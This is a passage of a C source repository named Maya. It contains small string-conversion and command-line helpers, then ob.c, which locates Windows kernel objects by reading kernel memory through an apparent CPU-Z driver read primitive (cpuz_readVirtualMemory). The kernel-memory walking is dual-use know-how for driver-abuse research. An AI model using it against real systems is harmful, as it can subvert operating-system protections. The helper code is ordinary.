LPWSTR Buffer, 7 | IN ULONG BufferSize, 8 | OUT PULONG ParamLen 9 | ) 10 | { 11 | ULONG c, plen = 0; 12 | TCHAR divider; 13 | 14 | if (ParamLen != NULL) 15 | *ParamLen = 0; 16 | 17 | if (CmdLine == NULL) { 18 | if ((Buffer != NULL) && (BufferSize > 0)) 19 | *Buffer = 0; 20 | return FALSE; 21 | } 22 | 23 | for (c = 0; c <= ParamIndex; c++) { 24 | plen = 0; 25 | 26 | while (*CmdLine == ' ') 27 | CmdLine++; 28 | 29 | switch (*CmdLine) { 30 | case 0: 31 | goto zero_term_exit; 32 | 33 | case '"': 34 | CmdLine++; 35 | divider = '"'; 36 | break; 37 | 38 | default: 39 | divider = ' '; 40 | } 41 | 42 | while ((*CmdLine != '"') && (*CmdLine != divider) && (*CmdLine != 0)) { 43 | plen++; 44 | if (c == ParamIndex) 45 | if ((plen < BufferSize) && (Buffer != NULL)) { 46 | *Buffer = *CmdLine; 47 | Buffer++; 48 | } 49 | CmdLine++; 50 | } 51 | 52 | if (*CmdLine != 0) 53 | CmdLine++; 54 | } 55 | 56 | zero_term_exit: 57 | 58 | if ((Buffer != NULL) && (BufferSize > 0)) 59 | *Buffer = 0; 60 | 61 | if (ParamLen != NULL) 62 | *ParamLen = plen; 63 | 64 | if (plen < BufferSize) 65 | return TRUE; 66 | else 67 | return FALSE; 68 | } 69 | 70 | BOOL GetCommandLineParamA( 71 | IN LPCSTR CmdLine, 72 | IN ULONG ParamIndex, 73 | OUT LPSTR Buffer, 74 | IN ULONG BufferSize, 75 | OUT PULONG ParamLen 76 | ) 77 | { 78 | ULONG c, plen = 0; 79 | TCHAR divider; 80 | 81 | if (CmdLine == NULL) 82 | return FALSE; 83 | 84 | if (ParamLen != NULL) 85 | *ParamLen = 0; 86 | 87 | for (c = 0; c <= ParamIndex; c++) { 88 | plen = 0; 89 | 90 | while (*CmdLine == ' ') 91 | CmdLine++; 92 | 93 | switch (*CmdLine) { 94 | case 0: 95 | goto zero_term_exit; 96 | 97 | case '"': 98 | CmdLine++; 99 | divider = '"'; 100 | break; 101 | 102 | default: 103 | divider = ' '; 104 | } 105 | 106 | while ((*CmdLine != '"') && (*CmdLine != divider) && (*CmdLine != 0)) { 107 | plen++; 108 | if (c == ParamIndex) 109 | if ((plen < BufferSize) && (Buffer != NULL)) { 110 | *Buffer = *CmdLine; 111 | Buffer++; 112 | } 113 | CmdLine++; 114 | } 115 | 116 | if (*CmdLine != 0) 117 | CmdLine++; 118 | } 119 | 120 | zero_term_exit: 121 | 122 | if ((Buffer != NULL) && (BufferSize > 0)) 123 | *Buffer = 0; 124 | 125 | if (ParamLen != NULL) 126 | *ParamLen = plen; 127 | 128 | if (plen < BufferSize) 129 | return TRUE; 130 | else 131 | return FALSE; 132 | } 133 | 134 | char *ExtractFilePathA(const char *FileName, char *FilePath) 135 | { 136 | char *p = (char *)FileName, *p0 = (char *)FileName; 137 | 138 | if ((FileName == 0) || (FilePath == 0)) 139 | return 0; 140 | 141 | while (*FileName != 0) { 142 | if (*FileName == '\\') 143 | p = (char *)FileName + 1; 144 | FileName++; 145 | } 146 | 147 | while (p0 < p) { 148 | *FilePath = *p0; 149 | FilePath++; 150 | p0++; 151 | } 152 | 153 | *FilePath = 0; 154 | 155 | return FilePath; 156 | } 157 | 158 | wchar_t *ExtractFilePathW(const wchar_t *FileName, wchar_t *FilePath) 159 | { 160 | wchar_t *p = (wchar_t *)FileName, *p0 = (wchar_t *)FileName; 161 | 162 | if ((FileName == 0) || (FilePath == 0)) 163 | return 0; 164 | 165 | while (*FileName != 0) { 166 | if (*FileName == '\\') 167 | p = (wchar_t *)FileName + 1; 168 | FileName++; 169 | } 170 | 171 | while (p0 < p) { 172 | *FilePath = *p0; 173 | FilePath++; 174 | p0++; 175 | } 176 | 177 | *FilePath = 0; 178 | 179 | return FilePath; 180 | } 181 | -------------------------------------------------------------------------------- /src/Maya/minirtl/cmdline.h: -------------------------------------------------------------------------------- 1 | #ifndef _CMDLINEH_ 2 | #define _CMDLINEH_ 3 | 4 | BOOL GetCommandLineParamW( 5 | IN LPCWSTR CmdLine, 6 | IN ULONG ParamIndex, 7 | OUT LPWSTR Buffer, 8 | IN ULONG BufferSize, 9 | OUT PULONG ParamLen 10 | ); 11 | 12 | BOOL GetCommandLineParamA( 13 | IN LPCSTR CmdLine, 14 | IN ULONG ParamIndex, 15 | OUT LPSTR Buffer, 16 | IN ULONG BufferSize, 17 | OUT PULONG ParamLen 18 | ); 19 | 20 | char *ExtractFilePathA(const char *FileName, char *FilePath); 21 | wchar_t *ExtractFilePathW(const wchar_t *FileName, wchar_t *FilePath); 22 | 23 | #ifdef UNICODE 24 | 25 | #define ExtractFilePath ExtractFilePathW 26 | #define GetCommandLineParam GetCommandLineParamW 27 | 28 | #else // ANSI 29 | 30 | #define ExtractFilePath ExtractFilePathA 31 | #define GetCommandLineParam GetCommandLineParamA 32 | 33 | #endif 34 | 35 | #endif /* _CMDLINEH_ */ 36 | -------------------------------------------------------------------------------- /src/Maya/minirtl/minirtl.h: -------------------------------------------------------------------------------- 1 | /* 2 | Module name: 3 | minirtl.h 4 | 5 | Description: 6 | header for string handling and conversion routines 7 | 8 | Date: 9 | 1 Mar 2015 10 | */ 11 | 12 | #ifndef _MINIRTL_ 13 | #define _MINIRTL_ 14 | 15 | // string copy/concat/length 16 | 17 | char *_strend_a(const char *s); 18 | wchar_t *_strend_w(const wchar_t *s); 19 | 20 | char *_strcpy_a(char *dest, const char *src); 21 | wchar_t *_strcpy_w(wchar_t *dest, const wchar_t *src); 22 | 23 | char *_strcat_a(char *dest, const char *src); 24 | wchar_t *_strcat_w(wchar_t *dest, const wchar_t *src); 25 | 26 | char *_strncpy_a(char *dest, size_t ccdest, const char *src, size_t ccsrc); 27 | wchar_t *_strncpy_w(wchar_t *dest, size_t ccdest, const wchar_t *src, size_t ccsrc); 28 | 29 | size_t _strlen_a(const char *s); 30 | size_t _strlen_w(const wchar_t *s); 31 | 32 | // comparing 33 | 34 | int _strcmp_a(const char *s1, const char *s2); 35 | int _strcmp_w(const wchar_t *s1, const wchar_t *s2); 36 | 37 | int _strncmp_a(const char *s1, const char *s2, size_t cchars); 38 | int _strncmp_w(const wchar_t *s1, const wchar_t *s2, size_t cchars); 39 | 40 | int _strcmpi_a(const char *s1, const char *s2); 41 | int _strcmpi_w(const wchar_t *s1, const wchar_t *s2); 42 | 43 | int _strncmpi_a(const char *s1, const char *s2, size_t cchars); 44 | int _strncmpi_w(const wchar_t *s1, const wchar_t *s2, size_t cchars); 45 | 46 | char *_strstr_a(const char *s, const char *sub_s); 47 | wchar_t *_strstr_w(const wchar_t *s, const wchar_t *sub_s); 48 | 49 | char *_strstri_a(const char *s, const char *sub_s); 50 | wchar_t *_strstri_w(const wchar_t *s, const wchar_t *sub_s); 51 | 52 | // conversion of integer types to string, returning string length 53 | 54 | size_t ultostr_a(unsigned long x, char *s); 55 | size_t ultostr_w(unsigned long x, wchar_t *s); 56 | 57 | size_t ultohex_a(unsigned long x, char *s); 58 | size_t ultohex_w(unsigned long x, wchar_t *s); 59 | 60 | size_t itostr_a(int x, char *s); 61 | size_t itostr_w(int x, wchar_t *s); 62 | 63 | size_t i64tostr_a(signed long long x, char *s); 64 | size_t i64tostr_w(signed long long x, wchar_t *s); 65 | 66 | size_t u64tostr_a(unsigned long long x, char *s); 67 | size_t u64tostr_w(unsigned long long x, wchar_t *s); 68 | 69 | size_t u64tohex_a(unsigned long long x, char *s); 70 | size_t u64tohex_w(unsigned long long x, wchar_t *s); 71 | 72 | // string to integers conversion 73 | 74 | unsigned long strtoul_a(char *s); 75 | unsigned long strtoul_w(wchar_t *s); 76 | 77 | unsigned long long strtou64_a(char *s); 78 | unsigned long long strtou64_w(wchar_t *s); 79 | 80 | unsigned long hextoul_a(char *s); 81 | unsigned long hextoul_w(wchar_t *s); 82 | 83 | int strtoi_a(char *s); 84 | int strtoi_w(wchar_t *s); 85 | 86 | signed long long strtoi64_a(char *s); 87 | signed long long strtoi64_w(wchar_t *s); 88 | 89 | unsigned long long hextou64_a(char *s); 90 | unsigned long long hextou64_w(wchar_t *s); 91 | 92 | /* =================================== */ 93 | 94 | #ifdef UNICODE 95 | 96 | #define _strend _strend_w 97 | #define _strcpy _strcpy_w 98 | #define _strcat _strcat_w 99 | #define _strlen _strlen_w 100 | #define _strncpy _strncpy_w 101 | 102 | #define _strcmp _strcmp_w 103 | #define _strncmp _strncmp_w 104 | #define _strcmpi _strcmpi_w 105 | #define _strncmpi _strncmpi_w 106 | #define _strstr _strstr_w 107 | #define _strstri _strstri_w 108 | 109 | #define ultostr ultostr_w 110 | #define ultohex ultohex_w 111 | #define itostr itostr_w 112 | #define i64tostr i64tostr_w 113 | #define u64tostr u64tostr_w 114 | #define u64tohex u64tohex_w 115 | 116 | #define strtoul strtoul_w 117 | #define hextoul hextoul_w 118 | #define strtoi strtoi_w 119 | #define strtoi64 strtoi64_w 120 | #define strtou64 strtou64_w 121 | #define hextou64 hextou64_w 122 | 123 | #else // ANSI 124 | 125 | #define _strend _strend_a 126 | #define _strcpy _strcpy_a 127 | #define _strcat _strcat_a 128 | #define _strlen _strlen_a 129 | #define _strncpy _strncpy_a 130 | #define _strcmp _strcmp_a 131 | 132 | #define _strcmp _strcmp_a 133 | #define _strncmp _strncmp_a 134 | #define _strcmpi _strcmpi_a 135 | #define _strncmpi _strncmpi_a 136 | #define _strstr _strstr_a 137 | #define _strstri _strstri_a 138 | 139 | #define ultostr ultostr_a 140 | #define ultohex ultohex_a 141 | #define itostr itostr_a 142 | #define i64tostr i64tostr_a 143 | #define u64tostr u64tostr_a 144 | #define u64tohex u64tohex_a 145 | 146 | #define strtoul strtoul_a 147 | #define hextoul hextoul_a 148 | #define strtoi strtoi_a 149 | #define strtoi64 strtoi64_a 150 | #define strtou64 strtou64_a 151 | #define hextou64 hextou64_a 152 | 153 | #endif 154 | 155 | #endif /* _MINIRTL_ */ 156 | -------------------------------------------------------------------------------- /src/Maya/minirtl/rtltypes.h: -------------------------------------------------------------------------------- 1 | #ifndef _WCHAR_T_DEFINED 2 | typedef unsigned short wchar_t; 3 | #define _WCHAR_T_DEFINED 4 | #endif /* _WCHAR_T_DEFINED */ 5 | 6 | #ifndef _SIZE_T_DEFINED 7 | #ifdef _WIN64 8 | typedef unsigned __int64 size_t; 9 | #else /* _WIN64 */ 10 | typedef __w64 unsigned int size_t; 11 | #endif /* _WIN64 */ 12 | #define _SIZE_T_DEFINED 13 | #endif /* _SIZE_T_DEFINED */ 14 | 15 | __forceinline char locase_a(char c) 16 | { 17 | if ((c >= 'A') && (c <= 'Z')) 18 | return c + 0x20; 19 | else 20 | return c; 21 | } 22 | 23 | __forceinline wchar_t locase_w(wchar_t c) 24 | { 25 | if ((c >= 'A') && (c <= 'Z')) 26 | return c + 0x20; 27 | else 28 | return c; 29 | } 30 | 31 | __forceinline char byteabs(char x) { 32 | if (x < 0) 33 | return -x; 34 | return x; 35 | } 36 | 37 | __forceinline int _isdigit_a(char x) { 38 | return ((x >= '0') && (x <= '9')); 39 | } 40 | 41 | __forceinline int _isdigit_w(wchar_t x) { 42 | return ((x >= L'0') && (x <= L'9')); 43 | } 44 | -------------------------------------------------------------------------------- /src/Maya/minirtl/strtoi.c: -------------------------------------------------------------------------------- 1 | #include "rtltypes.h" 2 | 3 | int strtoi_a(char *s) 4 | { 5 | int a = 0, sign; 6 | char c; 7 | 8 | if (s == 0) 9 | return 0; 10 | 11 | switch (*s) { 12 | case '-': 13 | s++; 14 | sign = -1; 15 | break; 16 | 17 | case '+': 18 | s++; 19 | sign = 1; 20 | break; 21 | 22 | default: 23 | sign = 1; 24 | } 25 | 26 | while (*s != 0) { 27 | c = *s; 28 | if (_isdigit_a(c)) 29 | a = (a*10) + (c-'0'); 30 | else 31 | break; 32 | s++; 33 | } 34 | return a*sign; 35 | } 36 | 37 | int strtoi_w(wchar_t *s) 38 | { 39 | int a = 0, sign; 40 | wchar_t c; 41 | 42 | if (s == 0) 43 | return 0; 44 | 45 | switch (*s) { 46 | case L'-': 47 | s++; 48 | sign = -1; 49 | break; 50 | 51 | case L'+': 52 | s++; 53 | sign = 1; 54 | break; 55 | 56 | default: 57 | sign = 1; 58 | } 59 | 60 | while (*s != 0) { 61 | c = *s; 62 | if (_isdigit_w(c)) 63 | a = (a*10)+(c-L'0'); 64 | else 65 | break; 66 | s++; 67 | } 68 | return a*sign; 69 | } 70 | -------------------------------------------------------------------------------- /src/Maya/minirtl/strtou64.c: -------------------------------------------------------------------------------- 1 | #include "rtltypes.h" 2 | 3 | unsigned long long strtou64_a(char *s) 4 | { 5 | unsigned long long a = 0; 6 | char c; 7 | 8 | if (s == 0) 9 | return 0; 10 | 11 | while (*s != 0) { 12 | c = *s; 13 | if (_isdigit_w(c)) 14 | a = (a*10)+(c-'0'); 15 | else 16 | break; 17 | s++; 18 | } 19 | return a; 20 | } 21 | 22 | unsigned long long strtou64_w(wchar_t *s) 23 | { 24 | unsigned long long a = 0; 25 | wchar_t c; 26 | 27 | if (s == 0) 28 | return 0; 29 | 30 | while (*s != 0) { 31 | c = *s; 32 | if (_isdigit_w(c)) 33 | a = (a*10)+(c-L'0'); 34 | else 35 | break; 36 | s++; 37 | } 38 | return a; 39 | } 40 | -------------------------------------------------------------------------------- /src/Maya/minirtl/strtoul.c: -------------------------------------------------------------------------------- 1 | #include "rtltypes.h" 2 | 3 | unsigned long strtoul_a(char *s) 4 | { 5 | unsigned long a = 0; 6 | char c; 7 | 8 | if (s == 0) 9 | return 0; 10 | 11 | while (*s != 0) { 12 | c = *s; 13 | if (_isdigit_a(c)) 14 | a = (a*10)+(c-'0'); 15 | else 16 | break; 17 | s++; 18 | } 19 | return a; 20 | } 21 | 22 | unsigned long strtoul_w(wchar_t *s) 23 | { 24 | unsigned long a = 0; 25 | wchar_t c; 26 | 27 | if (s == 0) 28 | return 0; 29 | 30 | while (*s != 0) { 31 | c = *s; 32 | if (_isdigit_w(c)) 33 | a = (a*10)+(c-L'0'); 34 | else 35 | break; 36 | s++; 37 | } 38 | return a; 39 | } 40 | -------------------------------------------------------------------------------- /src/Maya/minirtl/u64tohex.c: -------------------------------------------------------------------------------- 1 | #include "rtltypes.h" 2 | 3 | size_t u64tohex_a(unsigned long long x, char *s) 4 | { 5 | char p; 6 | size_t c; 7 | 8 | if (s==0) 9 | return 16; 10 | 11 | for (c=0; c<16; c++) { 12 | p = (char)(x & 0xf); 13 | x >>= 4; 14 | 15 | if (p<10) 16 | p += '0'; 17 | else 18 | p = 'A' + (p-10); 19 | 20 | s[15-c] = p; 21 | } 22 | 23 | s[16] = 0; 24 | return 16; 25 | } 26 | 27 | size_t u64tohex_w(unsigned long long x, wchar_t *s) 28 | { 29 | wchar_t p; 30 | size_t c; 31 | 32 | if (s==0) 33 | return 16; 34 | 35 | for (c = 0; c<16; c++) { 36 | p = (wchar_t)(x & 0xf); 37 | x >>= 4; 38 | 39 | if (p<10) 40 | p += L'0'; 41 | else 42 | p = L'A' + (p-10); 43 | 44 | s[15-c] = p; 45 | } 46 | 47 | s[16] = 0; 48 | return 16; 49 | } 50 | -------------------------------------------------------------------------------- /src/Maya/minirtl/u64tostr.c: -------------------------------------------------------------------------------- 1 | #include "rtltypes.h" 2 | 3 | size_t u64tostr_a(unsigned long long x, char *s) 4 | { 5 | unsigned long long t = x; 6 | size_t i, r=1; 7 | 8 | while ( t >= 10 ) { 9 | t /= 10; 10 | r++; 11 | } 12 | 13 | if (s == 0) 14 | return r; 15 | 16 | for (i = r; i != 0; i--) { 17 | s[i-1] = (char)(x % 10) + '0'; 18 | x /= 10; 19 | } 20 | 21 | s[r] = (char)0; 22 | return r; 23 | } 24 | 25 | size_t u64tostr_w(unsigned long long x, wchar_t *s) 26 | { 27 | unsigned long long t = x; 28 | size_t i, r=1; 29 | 30 | while ( t >= 10 ) { 31 | t /= 10; 32 | r++; 33 | } 34 | 35 | if (s == 0) 36 | return r; 37 | 38 | for (i = r; i != 0; i--) { 39 | s[i-1] = (wchar_t)(x % 10) + L'0'; 40 | x /= 10; 41 | } 42 | 43 | s[r] = (wchar_t)0; 44 | return r; 45 | } 46 | -------------------------------------------------------------------------------- /src/Maya/minirtl/ultohex.c: -------------------------------------------------------------------------------- 1 | #include "rtltypes.h" 2 | 3 | size_t ultohex_a(unsigned long x, char *s) 4 | { 5 | char p; 6 | size_t c; 7 | 8 | if (s==0) 9 | return 8; 10 | 11 | for (c=0; c<8; c++) { 12 | p = (char)(x & 0xf); 13 | x >>= 4; 14 | 15 | if (p<10) 16 | p += '0'; 17 | else 18 | p = 'A' + (p-10); 19 | 20 | s[7-c] = p; 21 | } 22 | 23 | s[8] = 0; 24 | return 8; 25 | } 26 | 27 | size_t ultohex_w(unsigned long x, wchar_t *s) 28 | { 29 | wchar_t p; 30 | size_t c; 31 | 32 | if (s==0) 33 | return 8; 34 | 35 | for (c=0; c<8; c++) { 36 | p = (wchar_t)(x & 0xf); 37 | x >>= 4; 38 | 39 | if (p<10) 40 | p += L'0'; 41 | else 42 | p = L'A' + (p-10); 43 | 44 | s[7-c] = p; 45 | } 46 | 47 | s[8] = 0; 48 | return 8; 49 | } 50 | -------------------------------------------------------------------------------- /src/Maya/minirtl/ultostr.c: -------------------------------------------------------------------------------- 1 | #include "rtltypes.h" 2 | 3 | size_t ultostr_a(unsigned long x, char *s) 4 | { 5 | unsigned long t=x; 6 | size_t i, r=1; 7 | 8 | while ( t >= 10 ) { 9 | t /= 10; 10 | r++; 11 | } 12 | 13 | if (s == 0) 14 | return r; 15 | 16 | for (i = r; i != 0; i--) { 17 | s[i-1] = (char)(x % 10) + '0'; 18 | x /= 10; 19 | } 20 | 21 | s[r] = (char)0; 22 | return r; 23 | } 24 | 25 | size_t ultostr_w(unsigned long x, wchar_t *s) 26 | { 27 | unsigned long t=x; 28 | size_t i, r=1; 29 | 30 | while ( t >= 10 ) { 31 | t /= 10; 32 | r++; 33 | } 34 | 35 | if (s == 0) 36 | return r; 37 | 38 | for (i = r; i != 0; i--) { 39 | s[i-1] = (wchar_t)(x % 10) + L'0'; 40 | x /= 10; 41 | } 42 | 43 | s[r] = (wchar_t)0; 44 | return r; 45 | } 46 | -------------------------------------------------------------------------------- /src/Maya/ob.c: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2018 4 | * 5 | * TITLE: OB.C 6 | * 7 | * VERSION: 1.00 8 | * 9 | * DATE: 10 Feb 2018 10 | * 11 | * Object Manager support routines. 12 | * 13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 16 | * PARTICULAR PURPOSE. 17 | * 18 | *******************************************************************************/ 19 | 20 | #include "global.h" 21 | 22 | typedef enum _OBJ_HEADER_INFO_FLAG { 23 | HeaderCreatorInfoFlag = 0x1, 24 | HeaderNameInfoFlag = 0x2, 25 | HeaderHandleInfoFlag = 0x4, 26 | HeaderQuotaInfoFlag = 0x8, 27 | HeaderProcessInfoFlag = 0x10 28 | } OBJ_HEADER_INFO_FLAG; 29 | 30 | /* 31 | * ObpGetObjectHeaderOffset 32 | * 33 | * Purpose: 34 | * 35 | * Query requested structure offset for the given mask. 36 | * 37 | * 38 | * Object In Memory Disposition 39 | * 40 | * POOL_HEADER 41 | * OBJECT_HEADER_PROCESS_INFO 42 | * OBJECT_HEADER_QUOTA_INFO 43 | * OBJECT_HEADER_HANDLE_INFO 44 | * OBJECT_HEADER_NAME_INFO 45 | * OBJECT_HEADER_CREATOR_INFO 46 | * OBJECT_HEADER 47 | * 48 | */ 49 | BYTE ObpGetObjectHeaderOffset( 50 | _In_ BYTE InfoMask, 51 | _In_ OBJ_HEADER_INFO_FLAG Flag 52 | ) 53 | { 54 | BYTE OffsetMask, HeaderOffset = 0; 55 | 56 | if ((InfoMask & Flag) == 0) 57 | return 0; 58 | 59 | OffsetMask = InfoMask & (Flag | (Flag - 1)); 60 | 61 | if ((OffsetMask & HeaderCreatorInfoFlag) != 0) 62 | HeaderOffset += (BYTE)sizeof(OBJECT_HEADER_CREATOR_INFO); 63 | 64 | if ((OffsetMask & HeaderNameInfoFlag) != 0) 65 | HeaderOffset += (BYTE)sizeof(OBJECT_HEADER_NAME_INFO); 66 | 67 | if ((OffsetMask & HeaderHandleInfoFlag) != 0) 68 | HeaderOffset += (BYTE)sizeof(OBJECT_HEADER_HANDLE_INFO); 69 | 70 | if ((OffsetMask & HeaderQuotaInfoFlag) != 0) 71 | HeaderOffset += (BYTE)sizeof(OBJECT_HEADER_QUOTA_INFO); 72 | 73 | if ((OffsetMask & HeaderProcessInfoFlag) != 0) 74 | HeaderOffset += (BYTE)sizeof(OBJECT_HEADER_PROCESS_INFO); 75 | 76 | return HeaderOffset; 77 | } 78 | 79 | /* 80 | * ObpHeaderToNameInfoAddress 81 | * 82 | * Purpose: 83 | * 84 | * Calculate address of name structure from object header flags and object address. 85 | * 86 | */ 87 | BOOL ObpHeaderToNameInfoAddress( 88 | _In_ UCHAR ObjectInfoMask, 89 | _In_ ULONG_PTR ObjectAddress, 90 | _Inout_ PULONG_PTR HeaderAddress, 91 | _In_ OBJ_HEADER_INFO_FLAG InfoFlag 92 | ) 93 | { 94 | BYTE HeaderOffset; 95 | ULONG_PTR Address; 96 | 97 | if (HeaderAddress == NULL) 98 | return FALSE; 99 | 100 | HeaderOffset = ObpGetObjectHeaderOffset(ObjectInfoMask, InfoFlag); 101 | if (HeaderOffset == 0) 102 | return FALSE; 103 | 104 | Address = ObjectAddress - HeaderOffset; 105 | 106 | *HeaderAddress = Address; 107 | return TRUE; 108 | } 109 | 110 | /* 111 | * ObpQueryNameString 112 | * 113 | * Purpose: 114 | * 115 | * Reads object name from kernel memory, returned buffer must be freed with supHeapFree. 116 | * 117 | */ 118 | LPWSTR ObpQueryNameString( 119 | _In_ ULONG_PTR NameInfoAddress, 120 | _Out_opt_ PSIZE_T ReturnLength 121 | ) 122 | { 123 | ULONG fLen; 124 | LPWSTR lpObjectName = NULL; 125 | 126 | OBJECT_HEADER_NAME_INFO NameInfo; 127 | 128 | if (ReturnLength) 129 | *ReturnLength = 0; 130 | 131 | RtlSecureZeroMemory(&NameInfo, sizeof(OBJECT_HEADER_NAME_INFO)); 132 | if (cpuz_readVirtualMemory(NameInfoAddress, &NameInfo, sizeof(OBJECT_HEADER_NAME_INFO))) { 133 | fLen = NameInfo.Name.Length + sizeof(UNICODE_NULL); 134 | lpObjectName = supHeapAlloc(fLen); 135 | if (lpObjectName != NULL) { 136 | NameInfoAddress = (ULONG_PTR)NameInfo.Name.Buffer; 137 | if (cpuz_readVirtualMemory(NameInfoAddress, lpObjectName, NameInfo.Name.Length)) { 138 | if (ReturnLength) 139 | *ReturnLength = fLen; 140 | } 141 | else { 142 | supHeapFree(lpObjectName); 143 | lpObjectName = NULL; 144 | } 145 | } 146 | } 147 | return lpObjectName; 148 | } 149 | 150 | /* 151 | * ObGetDirectoryObjectAddress 152 | * 153 | * Purpose: 154 | * 155 | * Return directory object kernel address. 156 | * 157 | */ 158 | BOOL ObGetDirectoryObjectAddress( 159 | _In_opt_ LPWSTR lpDirectory, 160 | _Inout_ PULONG_PTR lpRootAddress, 161 | _Inout_opt_ PUSHORT lpTypeIndex 162 | ) 163 | { 164 | BOOL bFound = FALSE; 165 | HANDLE hDirectory = NULL; 166 | NTSTATUS status; 167 | LPWSTR lpTarget; 168 | OBJECT_ATTRIBUTES objattr; 169 | UNICODE_STRING objname; 170 | 171 | if (lpRootAddress == NULL) 172 | return bFound; 173 | 174 | if (lpDirectory == NULL) { 175 | lpTarget = L"\\"; 176 | } 177 | else { 178 | lpTarget = lpDirectory; 179 | } 180 | RtlSecureZeroMemory(&objname, sizeof(objname)); 181 | RtlInitUnicodeString(&objname, lpTarget); 182 | InitializeObjectAttributes(&objattr, &objname, OBJ_CASE_INSENSITIVE, NULL, NULL); 183 | status = NtOpenDirectoryObject(&hDirectory, DIRECTORY_QUERY, &objattr); 184 | if (!NT_SUCCESS(status)) 185 | return bFound; 186 | 187 | bFound = supQueryObjectFromHandle(hDirectory, lpRootAddress, lpTypeIndex); 188 | NtClose(hDirectory); 189 | return bFound; 190 | } 191 | 192 | /* 193 | * ObpWalkDirectory 194 | * 195 | * Purpose: 196 | * 197 | * Walks given directory and looks for specified object inside. 198 | * Return value is the kernel address of object to find. 199 | * Simplified version from WinObjEx64 200 | * 201 | */ 202 | PVOID ObpWalkDirectory( 203 | _In_ LPWSTR lpObjectToFind, 204 | _In_ ULONG_PTR DirectoryAddress 205 | ) 206 | { 207 | BOOL bFound; 208 | INT c; 209 | SIZE_T retSize; 210 | LPWSTR lpObjectName; 211 | ULONG_PTR ObjectHeaderAddress, item0, item1, InfoHeaderAddress; 212 | 213 | OBJECT_HEADER ObjectHeader; 214 | OBJECT_DIRECTORY DirObject; 215 | OBJECT_DIRECTORY_ENTRY Entry; 216 | 217 | __try { 218 | 219 | if (lpObjectToFind == NULL) 220 | return NULL; 221 | 222 | RtlSecureZeroMemory(&DirObject, sizeof(OBJECT_DIRECTORY)); 223 | if (!cpuz_readVirtualMemory(DirectoryAddress, &DirObject, sizeof(OBJECT_DIRECTORY))) { 224 | 225 | #ifdef _DEBUG 226 | OutputDebugString(L"cpuz_readVirtualMemory(DirectoryAddress) failed"); 227 | #endif 228 | return NULL; 229 | } 230 | 231 | lpObjectName = NULL; 232 | retSize = 0; 233 | bFound = FALSE; 234 | 235 | for (c = 0; c < NUMBEROFBUCKETS; c++) { 236 | 237 | item0 = (ULONG_PTR)DirObject.HashBuckets[c]; 238 | if (item0 != 0) { 239 | 240 | item1 = item0; 241 | do { 242 | 243 | //read object directory entry 244 | RtlSecureZeroMemory(&Entry, sizeof(OBJECT_DIRECTORY_ENTRY)); 245 | if (!cpuz_readVirtualMemory(item1, &Entry, sizeof(OBJECT_DIRECTORY_ENTRY))) { 246 | 247 | #ifdef _DEBUG 248 | OutputDebugString(L"cpuz_readVirtualMemory(OBJECT_DIRECTORY_ENTRY) failed"); 249 | #endif 250 | break; 251 | } 252 | 253 | //read object header 254 | RtlSecureZeroMemory(&ObjectHeader, sizeof(OBJECT_HEADER)); 255 | ObjectHeaderAddress = (ULONG_PTR)OBJECT_TO_OBJECT_HEADER(Entry.Object); 256 | if (!cpuz_readVirtualMemory(ObjectHeaderAddress, &ObjectHeader, sizeof(OBJECT_HEADER))) { 257 | 258 | #ifdef _DEBUG 259 | OutputDebugString(L"cpuz_readVirtualMemory(ObjectHeaderAddress) failed"); 260 | #endif 261 | goto NextItem; 262 | } 263 | 264 | //check if object has name 265 | InfoHeaderAddress = 0; 266 | retSize = 0; 267 | if (!ObpHeaderToNameInfoAddress(ObjectHeader.InfoMask, ObjectHeaderAddress, 268 | &InfoHeaderAddress, HeaderNameInfoFlag)) 269 | { 270 | goto NextItem; 271 | } 272 | 273 | //object has name, query it 274 | lpObjectName = ObpQueryNameString(InfoHeaderAddress, &retSize); 275 | if ((lpObjectName == NULL) || (retSize == 0)) 276 | goto NextItem; 277 | 278 | //compare full object names 279 | bFound = (_strcmpi(lpObjectName, lpObjectToFind) == 0); 280 | supHeapFree(lpObjectName); 281 | if (bFound == FALSE) { 282 | goto NextItem; 283 | } 284 | //identical, return object address 285 | return Entry.Object; 286 | 287 | NextItem: 288 | if (bFound) 289 | break; 290 | 291 | item1 = (ULONG_PTR)Entry.ChainLink; 292 | } while (item1 != 0); 293 | } 294 | if (bFound) 295 | break; 296 | } 297 | 298 | } 299 | __except (EXCEPTION_EXECUTE_HANDLER) { 300 | return NULL; 301 | } 302 | return NULL; 303 | } 304 | 305 | /* 306 | * ObQueryObject 307 | * 308 | * Purpose: 309 | * 310 | * Look for object inside specified directory. 311 | * 312 | */ 313 | PVOID ObQueryObject( 314 | _In_ LPWSTR lpDirectory, 315 | _In_ LPWSTR lpObjectName 316 | ) 317 | { 318 | BOOL needFree = FALSE; 319 | ULONG_PTR DirectoryAddress; 320 | SIZE_T i, l, rdirLen, ldirSz; 321 | LPWSTR SingleDirName, LookupDirName; 322 | 323 | __try { 324 | 325 | LookupDirName = lpDirectory; 326 | 327 | l = 0; 328 | rdirLen = _strlen(lpDirectory); 329 | for (i = 0; i < rdirLen; i++) { 330 | if (lpDirectory[i] == '\\') 331 | l = i + 1; 332 | } 333 | SingleDirName = &lpDirectory[l]; 334 | if (_strcmpi(SingleDirName, lpObjectName) == 0) { 335 | 336 | ldirSz = rdirLen * sizeof(WCHAR) + sizeof(UNICODE_NULL); 337 | LookupDirName = supHeapAlloc(ldirSz); 338 | if (LookupDirName == NULL) 339 | return NULL; 340 | 341 | needFree = TRUE; 342 | 343 | if (l == 1) l++; 344 | 345 | supCopyMemory(LookupDirName, ldirSz, lpDirectory, (l - 1) * sizeof(WCHAR)); 346 | } 347 | 348 | DirectoryAddress = 0; 349 | if (ObGetDirectoryObjectAddress(LookupDirName, &DirectoryAddress, NULL)) { 350 | 351 | if (needFree) 352 | supHeapFree(LookupDirName); 353 | 354 | return ObpWalkDirectory(lpObjectName, DirectoryAddress); 355 | } 356 | } 357 | 358 | __except (EXCEPTION_EXECUTE_HANDLER) { 359 | return NULL; 360 | } 361 | return NULL; 362 | } 363 | -------------------------------------------------------------------------------- /src/Maya/ob.h: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2018 4 | * 5 | * TITLE: OB.H 6 | * 7 | * VERSION: 